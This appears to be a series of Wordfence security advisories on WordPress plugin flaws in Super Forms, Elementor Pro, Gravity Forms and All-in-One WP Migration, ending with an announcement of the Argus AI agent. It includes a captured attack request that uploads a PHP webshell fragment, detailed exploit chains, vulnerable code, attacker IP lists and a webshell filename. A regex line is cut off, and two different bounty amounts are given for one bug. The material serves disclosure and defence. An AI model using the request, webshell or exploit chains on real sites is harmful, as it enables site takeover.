The Wordfence Firewall has blocked over 250,000 exploit attempts targeting this vulnerability.

According to our data, attackers started targeting websites within days of the vulnerability being disclosed, on July 14th, 2026. We also detected and blocked a large number of exploit attempts from August 18th to 25th.

Top Offending IP Addresses

The following IP Addresses are currently the most actively engaged IP addresses targeting the Super Forms plugin:

103.168.147.235
- Over 106,000 blocked requests.
103.168.146.131
- Over 82,000 blocked requests.
103.154.152.178
- Over 5,000 blocked requests.
103.170.97.7
- Over 3,400 blocked requests.
182.10.130.51
- Over 3,000 blocked requests.
189.4.122.140
- Over 2,700 blocked requests.
129.227.46.143
- Over 2,100 blocked requests.
64.176.209.104
- Over 1,900 blocked requests.
103.164.182.122
- Over 1,700 blocked requests.
37.9.33.62
- Over 1,700 blocked requests.

Indicators of Compromise

Because a successful attack results in an executable file being written to the server, and the path traversal allows the file to be placed in any location the web server can write to, or an existing file to be overwritten, it is recommended to review your entire site for any unexpected or recently modified .php files, as well as any files with unusual names created or changed on or after July 8th, 2026. In the attacks we have observed, the uploaded webshell was commonly named Mushr00w_upl.php, so the presence of a file with this name is a strong indicator of compromise, though attackers may use other filenames and locations as well.

We also recommend reviewing your web server access logs for requests to /wp-admin/admin-ajax.php with the action parameter set to super_submit_form, especially those originating from the following IP addresses:

103.168.147.235
103.168.146.131
103.154.152.178
103.170.97.7
182.10.130.51
189.4.122.140
129.227.46.143
64.176.209.104
103.164.182.122
37.9.33.62

If you find evidence of compromise, we recommend removing any unknown administrator accounts and unexpected files, and reviewing the site for backdoors. The absence of any such log entries does not guarantee that your website has not been compromised.

Conclusion

In today’s article, we covered the attack data for a critical-severity Unauthenticated Arbitrary File Upload vulnerability in the Super Forms plugin that allows unauthenticated threat actors to upload executable PHP files and achieve remote code execution, leading to complete site compromise. Our threat intelligence indicates that attackers have been targeting this vulnerability at scale, with the heaviest exploitation occurring between August 18th and August 25th, 2026. The Wordfence firewall has already blocked over 250,000 exploit attempts targeting this vulnerability.

Even if you have already received a firewall rule for this issue we urge you to ensure that your site is updated to at least version 6.3.314 in order to maintain normal functionality. If you have friends or colleagues using Super Forms, be sure to forward this advisory to them, as sites could still be unprotected and unpatched.

If you believe your site has been compromised as a result of this vulnerability or any other vulnerability, we offer Incident Response services via Wordfence Care. If you need your site cleaned immediately, Wordfence Response offers the same service with 24/7/365 availability and a 1-hour response time. Both these products include hands-on support in case you need further assistance.

The post Attackers Actively Exploiting Critical Vulnerability in Super Forms Plugin appeared first on Wordfence.

Attackers Actively Exploiting Critical Vulnerability in Elementor Pro Plugin

Simon Browning — Wed, 02 Sep 2026 15:39:48 +0000

On August 19th, 2026, we publicly disclosed a critical Unauthenticated Arbitrary File Upload vulnerability in Elementor Pro, a WordPress plugin with more than 6,000,000 active installations. This vulnerability can be leveraged by unauthenticated attackers to upload arbitrary files, including executable PHP files, to a vulnerable site, which can lead to remote code execution and complete site takeover. The vendor released the fully patched version on August 19th, 2026, and we originally disclosed this vulnerability in the Wordfence Intelligence vulnerability database on the same day. The Wordfence Firewall has already blocked over 190,000 exploit attempts targeting this vulnerability.

All Wordfence users, including those running Wordfence Premium, Wordfence Care, and Wordfence Response, as well as sites running the free version of Wordfence, are protected against any exploits targeting this vulnerability by the Wordfence firewall’s built-in Malicious File Upload protection.

Considering this vulnerability is being actively exploited, we urge users to ensure their sites are updated with the latest patched version of Elementor Pro, version 4.2.2 at the time of this writing, as soon as possible.

Vulnerability Summary from Wordfence Intelligence

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-32475

Affected Version(s)
<= 4.2.1

Patched Version
4.2.2

Bounty
$15,600.00

Affected Software

Elementor Website Builder Pro [elementor-pro]

Researchers

Tin Pham (TF1T)

Critical Arbitrary File Upload Vulnerability Patched in Elementor Pro WordPress Plugin

The Elementor Pro plugin for WordPress is vulnerable to Unrestricted File Type Upload in all versions up to, and including, 4.2.1 via the process_field function. This is due to a validation loop in Upload::validation() using ‘return’ instead of ‘continue’ when the first array element has UPLOAD_ERR_NO_FILE, aborting all extension and file type checks for remaining files in the same upload field. This makes it possible for unauthenticated attackers to upload files that may be executable, which makes remote code execution possible. This requires that the targeted site has published a page containing an Elementor Pro Form widget with at least one non-required File Upload field.

Vulnerability Details

The vulnerability exists due to the way the Elementor Pro Form widget handles File Upload fields. When a File Upload field is not marked as required, a flaw in the field’s validation routine causes the extension and file type checks to be skipped for the uploaded file, allowing an unauthenticated attacker to upload a file with an arbitrary extension, such as .php, and achieve remote code execution. Exploitation requires the targeted site to have published a page containing an Elementor Pro Form widget with at least one non-required File Upload field.

We covered the full technical details of this vulnerability in a dedicated blog post, which we recommend reading for a complete analysis:

As with all arbitrary file upload vulnerabilities, this can lead to complete site compromise through the use of webshells and other techniques.

A Closer Look at the Attack Data

The following data highlights an actual exploit attempt from threat actors targeting this vulnerability. The attacker submits the form’s File Upload field as an array, where the first element is empty and the second element carries a PHP payload with a .php filename, which is the structure that triggers the validation bypass.

Example attack request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: multipart/form-data; boundary=b6761add721875da77ab27c1c43430ba

--b6761add721875da77ab27c1c43430ba
Content-Disposition: form-data; name="action"

elementor_pro_forms_send_form
--b6761add721875da77ab27c1c43430ba
Content-Disposition: form-data; name="post_id"

2821
--b6761add721875da77ab27c1c43430ba
Content-Disposition: form-data; name="form_id"

10f53b4
--b6761add721875da77ab27c1c43430ba
Content-Disposition: form-data; name="form_fields[name]"

test
--b6761add721875da77ab27c1c43430ba
Content-Disposition: form-data; name="form_fields[email]"

[redacted]
--b6761add721875da77ab27c1c43430ba
Content-Disposition: form-data; name="form_fields[message]"

test
--b6761add721875da77ab27c1c43430ba
Content-Disposition: form-data; name="form_fields['field_cc213f9'][0]"; filename=""
Content-Type: 
Expires: 0


--b6761add721875da77ab27c1c43430ba
Content-Disposition: form-data; name="form_fields['field_cc213f9'][1]"; filename="x1.php"
Content-Type: application/octet-stream
Expires: 0

array("pipe","w"),2=>array("pipe","w")),$q);if(is_resource($p)){echo stream_get_contents($q[1]).stream_get_contents($q[2]);}}elseif(function_exists("popen")){$h=popen($c,"r");echo stream_get_contents($h);pclose($h);}else{echo "NO_EXEC";}?>
--b6761add721875da77ab27c1c43430ba--

In the request above, the File Upload field is submitted as an array. The first element (form_fields['field_cc213f9'][0]) has an empty filename, which sets the UPLOAD_ERR_NO_FILE state that triggers the validation bypass, causing all further validation to be skipped for the remaining elements. The second element (form_fields['field_cc213f9'][1]) then carries the malicious file with a .php extension, which is written to the server. We have redacted the webshell payload to avoid publishing working exploit code.

Once written, the uploaded PHP file is placed in the /wp-content/uploads/elementor/forms/ directory under a randomly generated filename with the attacker-supplied .php extension, and the attacker can request it directly to execute arbitrary commands on the server.

Wordfence Firewall

The following graphic demonstrates the steps to exploitation an attacker might take and at which point the Wordfence firewall would block an attacker from successfully exploiting the vulnerability.

The Wordfence firewall’s built-in Malicious File Upload protection detects the attempt to upload an executable file and blocks the request.

The firewall also blocks access to the php file:

Please note this protection only works if the “Disable Code Execution for Uploads directory” option is enabled in the Wordfence Global Options page. We strongly recommend all Wordfence users enable this option.

Total Number of Exploits Blocked

The Wordfence Firewall has blocked over 190,000 exploit attempts since the vulnerability was publicly disclosed.

According to our data, attackers started targeting websites the same day the vulnerability was disclosed, on August 19th, 2026. We also detected and blocked a large number of exploit attempts from August 19th to 23rd.

Top Offending IP Addresses

The following IP Addresses are currently the most actively engaged IP addresses targeting the Elementor Pro plugin:

2602:fa59:10:7a1::1
- Over 28,000 blocked requests.
185.196.220.85
- Over 23,800 blocked requests.
103.84.230.85
- Over 23,600 blocked requests.
103.90.148.202
- Over 15,300 blocked requests.
216.126.225.208
- Over 15,000 blocked requests.
167.254.240.75
- Over 8,100 blocked requests.
167.254.241.119
- Over 7,700 blocked requests.
114.10.17.253
- Over 6,100 blocked requests.
114.10.45.151
- Over 5,700 blocked requests.
2406:ef80:2:7d19::1
- Over 4,800 blocked requests.

Indicators of Compromise

A successful attack results in an executable PHP file being written to the /wp-content/uploads/elementor/forms/ directory. This directory is only intended to store uploaded form submissions and should never contain PHP files, so the presence of any .php file in this location is a strong indicator of compromise. We recommend reviewing this directory.

We also recommend reviewing your web server access logs for requests to /wp-admin/admin-ajax.php with the action parameter set to elementor_pro_forms_send_form, especially those originating from the following IP addresses:

2602:fa59:10:7a1::1
185.196.220.85
103.84.230.85
103.90.148.202
216.126.225.208
167.254.240.75
167.254.241.119
114.10.17.253
114.10.45.151
2406:ef80:2:7d19::1

If you find evidence of compromise, we recommend removing any unexpected files and reviewing the site for backdoors. The absence of any such log entries does not guarantee that your website has not been compromised.

Conclusion

In today’s article, we covered the attack data for a critical-severity Unauthenticated Arbitrary File Upload vulnerability in the Elementor Pro plugin that allows unauthenticated threat actors to upload executable PHP files and achieve remote code execution, leading to complete site compromise. Our threat intelligence indicates that attackers began targeting this vulnerability the same day it was disclosed, on August 19th, 2026, with the heaviest activity occurring between August 19th and 23rd. The Wordfence firewall has already blocked over 190,000 exploit attempts targeting this vulnerability.

All Wordfence users, including those running Wordfence Premium, Wordfence Care, and Wordfence Response, as well as sites running the free version of Wordfence, are protected against this vulnerability by the Wordfence firewall’s built-in Malicious File Upload protection.

Even if you are protected by the Wordfence firewall, we urge you to ensure that your site is updated to at least version 4.2.2 in order to maintain normal functionality. If you have friends or colleagues using Elementor Pro, be sure to forward this advisory to them, as sites could still be unprotected and unpatched.

The post Attackers Actively Exploiting Critical Vulnerability in Elementor Pro Plugin appeared first on Wordfence.

Wordfence Argus Finds Unauthenticated Arbitrary File Upload Vulnerability in Gravity Forms

Simon Browning — Tue, 01 Sep 2026 19:39:22 +0000

On August 9th, 2026, Wordfence Argus, created by the Wordfence Threat Intelligence team, discovered an Arbitrary File Upload vulnerability in Gravity Forms, a WordPress plugin estimated to have more than one million active installations. This high-severity vulnerability makes it possible for unauthenticated threat actors to write files with attacker-selected extensions to a public temporary upload directory. This can lead to remote code execution.

We discovered this vulnerability with the help of Wordfence Argus, which we covered in a separate post. Our mission is to secure WordPress through defense in depth, which is why we invest in quality vulnerability research and work closely with plugin vendors to ensure vulnerabilities are addressed before they can be widely exploited. We are committed to making the WordPress ecosystem more secure through the detection and prevention of vulnerabilities, which is a critical element of a multi-layered approach to security.

We provided full disclosure details to the Gravity Forms team through our Wordfence Vulnerability Management Portal on August 11, 2026. The developer acknowledged the report on August 20, 2026, and released Gravity Forms 3.0.3 with the patch the same day. We would like to commend the Gravity Forms team for their response and remediation of this issue.

Wordfence Premium, Wordfence Care, and Wordfence Response customers received a firewall rule to provide protection against known exploitation techniques on August 13, 2026. Free users will receive the same rule 30 days later, on September 12, 2026.

We urge users to update their sites to Gravity Forms 3.0.3 or a newer version as soon as possible.

Vulnerability Summary from Wordfence Intelligence

CVSS Rating
8.1 (High)

CVE-ID

CVE-2026-19513

Affected Version(s)
<= 3.0.2

Patched Version
3.0.3

Affected Software

Gravity Forms [gravityforms]

Researchers

The Gravity Forms plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 3.0.2. This is due to insufficient validation of multi-file upload chunk state in the `GFAsyncUpload::upload()` function, where public form state URL hashes can be reused as chunk continuation hashes and attacker-controlled temporary filenames are accepted before sanitization. This makes it possible for unauthenticated attackers, when a public form contains a File Upload field with Multiple Files enabled, to upload a valid PNG/PDF polyglot to an attacker-selected public `.php` or `.html` filename in the Gravity Forms temporary upload directory. This can lead to remote code execution on WordPress systems that use NGINX or other non `.htaccess` respecting web servers. NOTE: During installation and activation, the Gravity Forms plugin places a `.htaccess` file in this directory, which prevents this vulnerability from being exploited despite the PHP file being written to the temporary upload directory. In these cases where PHP execution is blocked, attacker-written HTML can result in stored same-origin cross-site scripting if a victim visits the generated file URL.

Technical Analysis

Gravity Forms includes a multi-file upload endpoint that supports chunked upload requests. A continuation request identifies the temporary file and supplies a state intended to associate it with a previous chunk number, form, field, and uploaded filename. Gravity Forms 3.0.2 attempted to authenticate those values with a WordPress hash.

Unfortunately, the implementation used the same wp_hash() operation for two unrelated security contexts. Public form state includes a hash of the current page URL in includes/form-display/state/class-state-handler.php:

private function add_url( $form_id ) {
	$url = $this->get_url();
	if ( str_contains( $url, '?' ) ) {
		$values = array(
			wp_hash( $url ),
			wp_hash( strtok( $url, '?' ) ),
		);
		$this->add_hashes( $form_id, 'url', $values );
	} else {
		$this->add_hashes( $form_id, 'url', wp_hash( $url ) );
	}
}

The chunk uploader used wp_hash() again, without a context-specific prefix, to authenticate a pipe-delimited set of continuation values in includes/upload.php:

private static function get_chunk_hash( $tmp_file_name, $chunk, $form_id, $field_id, $uploaded_filename ) {
	return wp_hash(
		implode(
			'|',
			array(
				$tmp_file_name,
				$chunk,
				$form_id,
				$field_id,
				$uploaded_filename,
			)
		)
	);
}

Because the public page URL is attacker-influenced, an unauthenticated attacker can request a URL whose value matches a chosen serialization of the chunk fields. The resulting URL hash from the public form state is then also a valid chunk-continuation hash. This is a cryptographic domain-confusion issue: the attacker does not need to recover the site’s secret or forge a new hash, but instead reuses a legitimate hash generated for a different purpose.

The impact is compounded by how GFAsyncUpload::upload() handles the supplied continuation state. In Gravity Forms 3.0.2, the handler verifies the hash over the raw, attacker-controlled temp_filename, assigns that value as the destination name, and only then passes it through sanitize_file_name():

$chunk         = isset( $_REQUEST['chunk'] ) ? intval( $_REQUEST['chunk'] ) : 0;
$chunks        = isset( $_REQUEST['chunks'] ) ? intval( $_REQUEST['chunks'] ) : 0;
$chunk_data    = $chunks && $file_name ? rgar( $_REQUEST, str_replace( '.', '_', $file_name ) ) : array();
$tmp_file_name = '';

if ( $chunk ) {
	if ( empty( $chunk_data['hash'] ) || ( $chunk_data['hash'] !== self::get_chunk_hash( $chunk_data['temp_filename'], ( $chunk - 1 ), $form_id, $field_id, $uploaded_filename ) ) ) {
		GFCommon::log_debug( __METHOD__ . sprintf( '(): Invalid hash for chunk #%d.', $chunk ) );
		self::die_error( 105, __( 'Upload unsuccessful', 'gravityforms' ) . ' ' . $uploaded_filename );
	}
	$tmp_file_name = $chunk_data['temp_filename'];
}

if ( empty( $tmp_file_name ) ) {
	$tmp_file_name = $form_unique_id . '_input_' . $field_id . '_' . GFCommon::random_str( 16 ) . '_' . $file_name;
}

$tmp_file_name = sanitize_file_name( $tmp_file_name );
$file_path     = $target_dir . $tmp_file_name;

The plugin validates the apparent upload names against the field’s allowed file types, but the temporary destination basename is handled separately. An attacker can therefore provide a normal, permitted carrier name such as safe.png while causing the sanitized temporary destination to end in .php. A valid PNG/PHP polyglot (a single file structured to be valid in two or more different file formats) satisfies the image content checks while retaining embedded PHP code that could be executed by the web server.

The continuation path also does not require a server-created first chunk. For a nonzero chunk, the handler opens the selected .part path in append mode, which creates the file if it does not already exist:

$out = @fopen( "{$file_path}.part", $chunk == 0 ? 'wb' : 'ab' );

If the request identifies itself as the final chunk, the plugin immediately removes the .part suffix:

if ( ! $chunks || $chunk == $chunks - 1 ) {
	// Upload is complete. Strip the temp .part suffix off
	rename( "{$file_path}.part", $file_path );

An attacker can exploit this issue when a public form contains a File Upload field with the Multiple Files option enabled. Gravity Forms and WordPress permit PNG and PDF uploads by default, so exploitation does not require an administrator to add either type to a custom allowlist. This allows for an unauthenticated public file write with an attacker-selected extension in the Gravity Forms temporary upload directory.

The final impact depends on the server configuration. Gravity Forms creates an upload-root .htaccess file with directives that disable PHP parsing on typical Apache configurations. NGINX does not process .htaccess. On servers that execute PHP in the directory, the write can lead to remote code execution. On servers where an effective .htaccess prevents PHP execution, an attacker can alternatively write a .html file, which can result in same-origin cross-site scripting if a victim visits the generated URL.

The Patch

The Gravity Forms team addressed this issue in version 3.0.3 by making temporary upload names server-generated and by requiring continuation chunks to present authenticated server-created state. The upload handler now generates a random temporary basename using only the permitted extension, validates the signed state before continuing an upload, and verifies that the expected partial file exists at the exact signed byte offset:

if ( $chunks && $chunk ) {
	$submitted_tmp_file_name = rgar( $chunk_data, 'temp_filename' );
	$chunk_state             = self::decode_chunk_token( rgar( $chunk_data, 'hash' ) );

	if ( ! self::is_valid_chunk_state( $chunk_state, $submitted_tmp_file_name, $chunk, $form_id, $field_id, $chunks, $uploaded_filename ) ) {
		GFCommon::log_debug( __METHOD__ . sprintf( '(): Invalid hash for chunk #%d.', $chunk ) );
		self::die_error( 105, __( 'Upload unsuccessful', 'gravityforms' ) . ' ' . $uploaded_filename );
	}

	$tmp_file_name = $chunk_state['temp_filename'];
	$write_offset  = $chunk_state['offset'];
}

if ( empty( $tmp_file_name ) ) {
	$tmp_file_name = 'gf_' . GFCommon::random_str( 32 ) . '.' . pathinfo( $file_name, PATHINFO_EXTENSION );
}

$tmp_file_name = sanitize_file_name( $tmp_file_name );
if ( ! self::is_valid_temp_filename( $tmp_file_name ) ) {
	self::die_error( 105, __( 'Upload unsuccessful', 'gravityforms' ) . ' ' . $uploaded_filename );
}

$file_path = $target_dir . $tmp_file_name;
if ( $chunks && $chunk && ( ! file_exists( "{$file_path}.part" ) || filesize( "{$file_path}.part" ) !== $write_offset ) ) {
	self::die_error( 105, __( 'Upload unsuccessful', 'gravityforms' ) . ' ' . $uploaded_filename );
}

Version 3.0.3 also replaces the ambiguous wp_hash() value with a structured, domain-separated HMAC token. The token binds the server-generated temporary filename to the next chunk number, form and field IDs, original filename, current byte offset, and total chunk count:

private static function get_chunk_hash( $tmp_file_name, $chunk, $form_id, $field_id, $uploaded_filename, $offset, $chunks ) {
	$payload = wp_json_encode(
		array(
			'temp_filename'     => (string) $tmp_file_name,
			'next_chunk'        => (int) $chunk,
			'form_id'           => (int) $form_id,
			'field_id'          => (int) $field_id,
			'uploaded_filename' => (string) $uploaded_filename,
			'offset'            => (int) $offset,
			'total_chunks'      => (int) $chunks,
		)
	);

	$encoded_payload = rtrim( strtr( base64_encode( $payload ), '+/', '-_' ), '=' );

	return $encoded_payload . '.' . hash_hmac( 'sha256', 'gravityforms-upload-chunk-v1|' . $encoded_payload, wp_salt( 'auth' ) );
}

Finally, the patched code rejects non-canonical temporary basenames and any temporary filename with a disallowed extension:

private static function is_valid_temp_filename( $tmp_file_name ) {
	if ( ! is_string( $tmp_file_name ) || $tmp_file_name === '' ) {
		return false;
	}

	if ( sanitize_file_name( $tmp_file_name ) !== $tmp_file_name ) {
		return false;
	}

	if ( wp_basename( $tmp_file_name ) !== $tmp_file_name ) {
		return false;
	}

	if ( GFCommon::file_name_has_disallowed_extension( $tmp_file_name ) ) {
		return false;
	}

	return true;
}

These changes prevent a public form-state hash from authenticating upload continuation state, remove attacker control over the destination basename, and ensure that a continuation request belongs to an upload session actually created by the server. Gravity Forms lists version 3.0.3 as released on August 20, 2026, with security enhancements in its official changelog.

Wordfence Firewall

The following graphic demonstrates the steps to exploitation an attacker might take and at which point the Wordfence firewall would block an attacker from successfully exploiting the vulnerability.

Disclosure Timeline

2026-08-09

We discovered the vulnerability

During internal research with Wordfence Argus, we discovered an unauthenticated Arbitrary File Upload vulnerability in Gravity Forms.

2026-08-11

We validated the report and disclosed it to the vendor

Our team confirmed the proof of concept and sent full disclosure details to the Gravity Forms team through the Wordfence Vulnerability Management Portal.

2026-08-13

Wordfence Premium, Care, and Response users received a firewall rule

We released a firewall rule protecting Wordfence Premium, Care, and Response customers against known exploitation techniques.

2026-08-20

Vendor acknowledged the report

The Gravity Forms team acknowledged the report.

2026-08-20

Patched version released

Gravity Forms 3.0.3, the first version containing the complete patch, was released.

2026-09-12

Wordfence free users receive the firewall rule

Sites running the free version of Wordfence receive the same firewall rule 30 days after the Premium release.

Wordfence action
Vendor / external action

Conclusion

In this blog post, we detailed an Arbitrary File Upload vulnerability in the Gravity Forms plugin affecting versions 3.0.2 and earlier. On sites with a public form containing a multi-file upload field, unauthenticated threat actors can write a valid image/PHP polyglot to a public temporary upload path with an attacker-selected .php extension. Where the server executes PHP in that directory, this can result in remote code execution.

The vulnerability has been addressed in Gravity Forms 3.0.3. We encourage WordPress users to verify that their sites are running version 3.0.3 or newer as soon as possible due to the high severity of this vulnerability.

Wordfence Premium, Wordfence Care, and Wordfence Response users received a firewall rule to protect against exploits targeting this vulnerability on August 13, 2026. Sites using the free version of Wordfence will receive the same protection on September 12, 2026.

If you know someone who uses Gravity Forms on their site, we recommend sharing this advisory with them to help ensure their site remains secure.

The post Wordfence Argus Finds Unauthenticated Arbitrary File Upload Vulnerability in Gravity Forms appeared first on Wordfence.

5 Million WordPress Sites Affected by SQL Injection Vulnerability in All-in-One WP Migration and Backup WordPress Plugin

Simon Browning — Tue, 01 Sep 2026 15:39:35 +0000

On August 14th, 2026, we received a submission for an Unauthenticated Second-Order SQL Injection vulnerability in All-in-One WP Migration and Backup, a WordPress plugin with more than 5 million active installations. This vulnerability makes it possible for unauthenticated attackers to inject SQL that is later executed when a site administrator performs an archive restore, which can be used to leak the plugin’s secret key and ultimately achieve remote code execution, leading to complete site takeover.

Props to Jack Taylor who discovered and responsibly reported this vulnerability through the Wordfence Bug Bounty Program. This researcher earned a bounty of $6,400.00 for this discovery. Our mission is to secure WordPress through defense in depth, which is why we are investing in quality vulnerability research and collaborating with researchers of this caliber through our Bug Bounty Program. We are committed to making the WordPress ecosystem more secure through the detection and prevention of vulnerabilities, which is a critical element to the multi-layered approach to security.

Wordfence Premium, Wordfence Care, and Wordfence Response users received a firewall rule to protect against known exploits targeting this vulnerability in All-in-One WP Migration and Backup, hosted on WordPress.org, on August 16, 2026. Sites using the free version of Wordfence will receive the same protection 30 days later on September 15, 2026.

We provided full disclosure details to the ServMask team through our Wordfence Vulnerability Management Portal on August 15, 2026. The developer acknowledged the report on August 17, 2026, and released the fully patched version on August 20, 2026. We would like to commend the ServMask team for their prompt response and timely patch.

We urge users to update their sites to the latest patched version of All-in-One WP Migration and Backup, version 7.110 at the time of this publication, as soon as possible.

Vulnerability Summary from Wordfence Intelligence

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-19949

Affected Version(s)
<= 7.109

Patched Version
7.110

Bounty
$5,761.00

Affected Software

All-in-One WP Migration and Backup [all-in-one-wp-migration]

Researcher

Jack Taylor

The All-in-One WP Migration and Backup plugin for WordPress is vulnerable to SQL Injection via archive restore functionality in all versions up to, and including, 7.109 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. This can be leveraged to obtain the ai1wm_secret_key when a site administrator performs an archive restore and achieve remote code execution once able to leverage the ai1wm_secret_key value.

Technical Analysis

All-in-One WP Migration and Backup is a popular WordPress plugin for creating backups and migrating sites. It packages a site into a proprietary .wpress archive containing the site’s files and a database dump, and restores that archive on a destination server. During import, the plugin rewrites source URLs and database table prefixes inside each SQL statement before executing them. The plugin’s unauthenticated import action is protected by a secret key stored in the ai1wm_secret_key option, and the plugin deliberately saves and restores this option around each database-restore pass so that it is not overwritten by the imported data.

This vulnerability is a second-order SQL injection, meaning the malicious input is stored during one action and only becomes dangerous when it is processed later during a different action.

The malicious input is planted through WordPress core’s trackback functionality, which does not require authentication. An unauthenticated attacker submits two trackbacks to a public post that accepts pings. In each trackback, the blog name ends with a trailing backslash and the URL carries a crafted payload. WordPress core stores these values in the comments table as the comment author and comment author URL without stripping the backslash or rejecting the URL.

The data only becomes dangerous once a site administrator exports and then imports the site, which is a normal operation for this backup and migration plugin. During import, the plugin rewrites URLs and table prefixes in the stored SQL using the replace_table_values() function in the Ai1wm_Database class, which relies on a regular expression to identify quoted string literals:

// Replace serialized values
foreach ( $this->get_old_replace_values() as $old_value ) {
	if ( strpos( $input, $this->escape( $old_value ) ) !== false ) {
		$input = preg_replace_callback( "/'(.*?)(?
The critical flaw is in the regular expression used to match string literals. The negative lookbehind only checks the single byte immediately before a closing quote, rather than counting the full run of backslashes preceding it. A closing quote preceded by two backslashes represents an even-length run, which is the true end of the string, but the regex treats it as an escaped quote and continues matching into the following literal. This is why the planted trailing backslash matters: after the exporter has correctly doubled it, the regex misinterprets the string boundary.
The matched value is then passed to the replace_table_values_callback() function, which unescapes the over-captured match, performs the URL replacement, and re-escapes the result:
protected function replace_table_values_callback( $matches ) {
	// Unescape MySQL special characters
	$matches[1] = Ai1wm_Database_Utility::unescape_mysql( $matches[1] );
 
	// Replace serialized values
	if ( strlen( $matches[1] ) >= $this->get_old_replace_values_min_length() ) {
		$matches[1] = Ai1wm_Database_Utility::replace_serialized_values( $matches[1], $this->get_old_replace_values(), $this->get_new_replace_values() );
	}
 
	// Escape MySQL special characters
	$matches[1] = Ai1wm_Database_Utility::escape_mysql( $matches[1] );
 
	return "'" . $matches[1] . "'";
}
Because the value was over-captured due to the boundary confusion, this unescape-replace-re-escape cycle produces an unbalanced sequence of backslashes that flips the MySQL string boundary in the resulting SQL statement. The attacker-controlled portion of the stored comment is thereby promoted from data inside a string literal to executable SQL, which is run against the database during the restore.
The two planted rows work together. The first is designed to exceed the import pipeline’s time budget, which causes the restore to pause and commit the current transaction while recording its position in the file so that processing continues on a subsequent pass. Because the plugin restores the destination site’s ai1wm_secret_key into the options table at each pass boundary, the real secret key is present by the time the second row is processed. The second row’s payload reads the ai1wm_secret_key value out of the options table and writes it into the comment, marking the comment as approved so that it becomes publicly visible.
At this point, the attacker can simply read the leaked secret key from the site’s public comments REST API endpoint, with no authentication required.
Finally, the attacker leverages the leaked secret key to drive the plugin’s import action directly. The import controller is registered for unauthenticated access, and the only gate protecting it is a secret-key comparison:
public static function import( $params = array() ) {
	global $ai1wm_params;
 
	// Set params
	if ( empty( $params ) ) {
		$params = stripslashes_deep( array_merge( $_GET, $_POST ) );
	}
 
	// Set priority
	if ( ! isset( $params['priority'] ) ) {
		$params['priority'] = 10;
	}
 
	$ai1wm_params = $params;
 
	// Set job ID for per-job status tracking
	if ( isset( $params['storage'] ) ) {
		Ai1wm_Status::$job_id = $params['storage'];
	}
 
	// Set secret key
	$secret_key = null;
	if ( isset( $params['secret_key'] ) ) {
		$secret_key = trim( $params['secret_key'] );
	}
 
	ai1wm_setup_environment();
 
	try {
		// Ensure that unauthorized people cannot access import action
		ai1wm_verify_secret_key( $secret_key );
Having obtained the leaked secret key, the attacker satisfies this check and drives the import pipeline with a crafted .wpress archive that contains a malicious must-use plugin. The plugin is extracted to the must-use plugins directory and executed on the next page load, resulting in remote code execution as the web server user.
As with all remote code execution vulnerabilities, this can lead to complete site compromise through the use of webshells and other techniques.
Important Note
We would like to draw attention to the fact that, while the attacker is unauthenticated throughout, this vulnerability requires a site administrator to perform an export followed by an import of the site after the malicious trackbacks have been planted. This export and import cycle is the action that causes the stored payload to be executed as SQL. Since backup and restore is the core purpose of this plugin, this is a routine action, but the injected SQL will not execute until it takes place.
Wordfence Firewall
The following graphic demonstrates the steps to exploitation an attacker might take and at which point the Wordfence firewall would block an attacker from successfully exploiting the vulnerability.

Disclosure Timeline


2026-08-14

            

            
        

We received the vulnerability submission
A security researcher submitted an unauthenticated second-order SQL injection vulnerability in All-in-One WP Migration and Backup through the Wordfence Bug Bounty Program.



2026-08-15

            

            
        

We validated the report and disclosed it to the vendor
Our team confirmed the proof of concept and sent full disclosure details to the developer through our Wordfence Vulnerability Management Portal.



2026-08-16

            

            
        

We deployed a firewall rule to Premium usersFirewall rule
Wordfence Premium, Wordfence Care, and Wordfence Response users received a firewall rule to protect against known exploits targeting this vulnerability in All-in-One WP Migration and Backup, hosted on WordPress.org.



2026-08-17

            

            
        

Vendor acknowledged the report
The developer confirmed the issue and began working on a fix.



2026-08-20

            

            
        

Vendor released patched version 7.110Patch
The vendor released the fully patched version, 7.110, of the plugin.



2026-09-15

            

            
        

We will deploy the firewall rule to free usersFirewall rule
Sites using the free version of Wordfence will receive the same protection 30 days later.




   Wordfence action

   Vendor / external action

Conclusion
In this blog post, we detailed an Unauthenticated Second-Order SQL Injection vulnerability within the All-in-One WP Migration and Backup plugin affecting all versions up to, and including, 7.109. This vulnerability allows unauthenticated threat actors to plant a SQL injection payload that executes when an administrator restores an archive, which can be used to leak the plugin’s secret key and ultimately achieve remote code execution, leading to complete site compromise.
We encourage WordPress users to verify that their sites are updated to the latest patched version of All-in-One WP Migration and Backup as soon as possible considering the critical nature of this vulnerability.
Wordfence Premium, Wordfence Care, and Wordfence Response users received a firewall rule to protect against known exploits targeting this vulnerability in All-in-One WP Migration and Backup, hosted on WordPress.org, on August 16, 2026. Sites using the free version of Wordfence will receive the same protection 30 days later on September 15, 2026.
If you know someone who uses this plugin on their site, we recommend sharing this advisory with them to ensure their site remains secure, as this vulnerability poses a significant risk.
The post 5 Million WordPress Sites Affected by SQL Injection Vulnerability in All-in-One WP Migration and Backup WordPress Plugin appeared first on Wordfence.

Wordfence Argus: Moving Beyond Human Research Capability

Simon Browning — Thu, 27 Aug 2026 20:40:51 +0000

When you create an AI agent that makes a breakthrough that is so difficult to understand that you need to ask it to write a blog post to explain it to you, you know you’re on to something.

If you’re paying attention, you should have noticed that the major vulnerability we recently reported in one of the world’s most popular WordPress themes was found by an autonomous AI agent we developed called Wordfence Argus. A few minutes ago we reported another. We have made several additional breakthroughs with Argus that are working their way through the responsible disclosure process, and which we’ll publish over the coming weeks. You’re going to be hearing a lot about Wordfence Argus, which is an internal application we have developed for aggressive vulnerability hunting.

We have debated whether Argus is AI, a harness, or an agent, but none of those seem to apply because this kind of application includes harnesses, prompts, models, orchestration and more.

Wordfence Argus has given us front-row seats in the AI revolution, because it is making breakthroughs in a field in which we are world-class experts. We have the ability to fully appreciate the complexity of the research that it is conducting, and how it is beginning to exceed human capability – and far exceeds the tempo at which a human team can operate. This is incredibly exciting to see, and bodes well for challenging fields where we badly need innovation, like cancer research, which I personally provide funding for and care very much about.

